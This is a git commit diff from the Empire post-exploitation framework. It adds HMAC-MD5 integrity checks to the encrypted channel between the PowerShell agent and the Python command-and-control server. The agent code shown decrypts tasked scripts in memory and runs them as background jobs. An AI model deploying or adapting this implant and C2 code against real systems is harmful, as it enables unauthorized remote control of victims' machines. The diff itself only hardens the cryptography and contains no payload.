Merge pull request #3 from joncave/authenticated_encryption
Update of encryption scheme uses to include integrity checking. Merge from joncave/authenticated_encryption1.6
commit
db1bc92296
|
@ -495,12 +495,25 @@ function Invoke-Empire {
|
||||||
$AES.Mode = "CBC";
|
$AES.Mode = "CBC";
|
||||||
$AES.Key = $encoding.GetBytes($SessionKey);
|
$AES.Key = $encoding.GetBytes($SessionKey);
|
||||||
$AES.IV = $IV;
|
$AES.IV = $IV;
|
||||||
$IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length);
|
$ciphertext = $IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length);
|
||||||
|
$hmac = New-Object System.Security.Cryptography.HMACMD5;
|
||||||
|
$hmac.Key = $encoding.GetBytes($SessionKey);
|
||||||
|
$ciphertext + $hmac.ComputeHash($ciphertext);
|
||||||
}
|
}
|
||||||
|
|
||||||
function Decrypt-Bytes {
|
function Decrypt-Bytes {
|
||||||
param ($inBytes)
|
param ($inBytes)
|
||||||
if($inBytes.Length -gt 16){
|
if($inBytes.Length -gt 32){
|
||||||
|
# Verify the MAC
|
||||||
|
$mac = $inBytes[-16..-1];
|
||||||
|
$inBytes = $inBytes[0..($inBytes.length - 17)];
|
||||||
|
$hmac = New-Object System.Security.Cryptography.HMACMD5;
|
||||||
|
$hmac.Key = $encoding.GetBytes($SessionKey);
|
||||||
|
$expected = $hmac.ComputeHash($inBytes);
|
||||||
|
if (@(Compare-Object $mac $expected -sync 0).Length -ne 0){
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
# extract the IV
|
# extract the IV
|
||||||
$IV = $inBytes[0..15];
|
$IV = $inBytes[0..15];
|
||||||
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
|
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
|
||||||
|
@ -779,8 +792,11 @@ function Invoke-Empire {
|
||||||
elseif($type -eq 121){
|
elseif($type -eq 121){
|
||||||
|
|
||||||
# decrypt the script in memory and execute the code as a background job
|
# decrypt the script in memory and execute the code as a background job
|
||||||
$jobID = Start-AgentJob ([System.Text.Encoding]::UTF8.GetString( (Decrypt-Bytes $script:importedScript)) + "; $data")
|
$script = Decrypt-Bytes $script:importedScript
|
||||||
Encode-Packet -type $type -data ("Job started: " + $jobID)
|
if ($script){
|
||||||
|
$jobID = Start-AgentJob ([System.Text.Encoding]::UTF8.GetString($script) + "; $data")
|
||||||
|
Encode-Packet -type $type -data ("Job started: " + $jobID)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
else{
|
else{
|
||||||
|
@ -798,6 +814,9 @@ function Invoke-Empire {
|
||||||
|
|
||||||
# Decrypt the tasking and process it appropriately
|
# Decrypt the tasking and process it appropriately
|
||||||
$taskingBytes = Decrypt-Bytes $tasking
|
$taskingBytes = Decrypt-Bytes $tasking
|
||||||
|
if (!$taskingBytes){
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
# decode the first packet
|
# decode the first packet
|
||||||
$decoded = Decode-Packet $taskingBytes
|
$decoded = Decode-Packet $taskingBytes
|
||||||
|
@ -990,4 +1009,4 @@ function Invoke-Empire {
|
||||||
[GC]::Collect()
|
[GC]::Collect()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1035,7 +1035,7 @@ class Agents:
|
||||||
sessionKey = self.agents[sessionID][0]
|
sessionKey = self.agents[sessionID][0]
|
||||||
|
|
||||||
# encrypt the tasking packets with the agent's session key
|
# encrypt the tasking packets with the agent's session key
|
||||||
encryptedData = encryption.aes_encrypt(sessionKey, allTaskPackets)
|
encryptedData = encryption.aes_encrypt_then_mac(sessionKey, allTaskPackets)
|
||||||
|
|
||||||
return (200, encryptedData)
|
return (200, encryptedData)
|
||||||
|
|
||||||
|
@ -1112,8 +1112,8 @@ class Agents:
|
||||||
sessionKey = self.agents[sessionID][0]
|
sessionKey = self.agents[sessionID][0]
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# decrypt and depad the packet
|
# verify, decrypt and depad the packet
|
||||||
packet = encryption.aes_decrypt(sessionKey, postData)
|
packet = encryption.aes_decrypt_and_verify(sessionKey, postData)
|
||||||
|
|
||||||
# update the client's last seen time
|
# update the client's last seen time
|
||||||
self.update_agent_lastseen(sessionID)
|
self.update_agent_lastseen(sessionID)
|
||||||
|
|
|
@ -9,7 +9,7 @@ from Crypto.Cipher import AES
|
||||||
from Crypto import Random
|
from Crypto import Random
|
||||||
from Crypto.Random import random
|
from Crypto.Random import random
|
||||||
from binascii import hexlify
|
from binascii import hexlify
|
||||||
import base64, string, M2Crypto
|
import base64, hashlib, hmac, string, M2Crypto
|
||||||
|
|
||||||
import helpers
|
import helpers
|
||||||
|
|
||||||
|
@ -71,6 +71,15 @@ def aes_encrypt(key, data):
|
||||||
return IV + cipher.encrypt(pad(data))
|
return IV + cipher.encrypt(pad(data))
|
||||||
|
|
||||||
|
|
||||||
|
def aes_encrypt_then_mac(key, data):
|
||||||
|
"""
|
||||||
|
Encrypt the data then calculate HMAC over the ciphertext.
|
||||||
|
"""
|
||||||
|
data = aes_encrypt(key, data)
|
||||||
|
mac = hmac.new(str(key), data, hashlib.md5).digest()
|
||||||
|
return data + mac
|
||||||
|
|
||||||
|
|
||||||
def aes_decrypt(key, data):
|
def aes_decrypt(key, data):
|
||||||
"""
|
"""
|
||||||
Generate an AES cipher object, pull out the IV from the data
|
Generate an AES cipher object, pull out the IV from the data
|
||||||
|
@ -82,6 +91,31 @@ def aes_decrypt(key, data):
|
||||||
return depad(cipher.decrypt(data[16:]))
|
return depad(cipher.decrypt(data[16:]))
|
||||||
|
|
||||||
|
|
||||||
|
def verify_hmac(key, data):
|
||||||
|
"""
|
||||||
|
Verify the HMAC supplied in the data with the given key.
|
||||||
|
"""
|
||||||
|
if len(data) > 16:
|
||||||
|
mac = data[-16:]
|
||||||
|
data = data[:-16]
|
||||||
|
expected = hmac.new(str(key), data, hashlib.md5).digest()
|
||||||
|
# Double HMAC to prevent timing attacks. hmac.compare_digest() is
|
||||||
|
# preferable, but only available since Python 2.7.7.
|
||||||
|
return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest()
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def aes_decrypt_and_verify(key, data):
|
||||||
|
"""
|
||||||
|
Decrypt the data, but only if it has a valid MAC.
|
||||||
|
"""
|
||||||
|
if len(data) > 32 and verify_hmac(key, data):
|
||||||
|
return aes_decrypt(key, data[:-16])
|
||||||
|
|
||||||
|
raise Exception("Invalid ciphertext received.")
|
||||||
|
|
||||||
|
|
||||||
def generate_aes_key():
|
def generate_aes_key():
|
||||||
"""
|
"""
|
||||||
Generate a random new 128-bit AES key using Pycrypto's secure Random functions.
|
Generate a random new 128-bit AES key using Pycrypto's secure Random functions.
|
||||||
|
|
Loading…
Reference in New Issue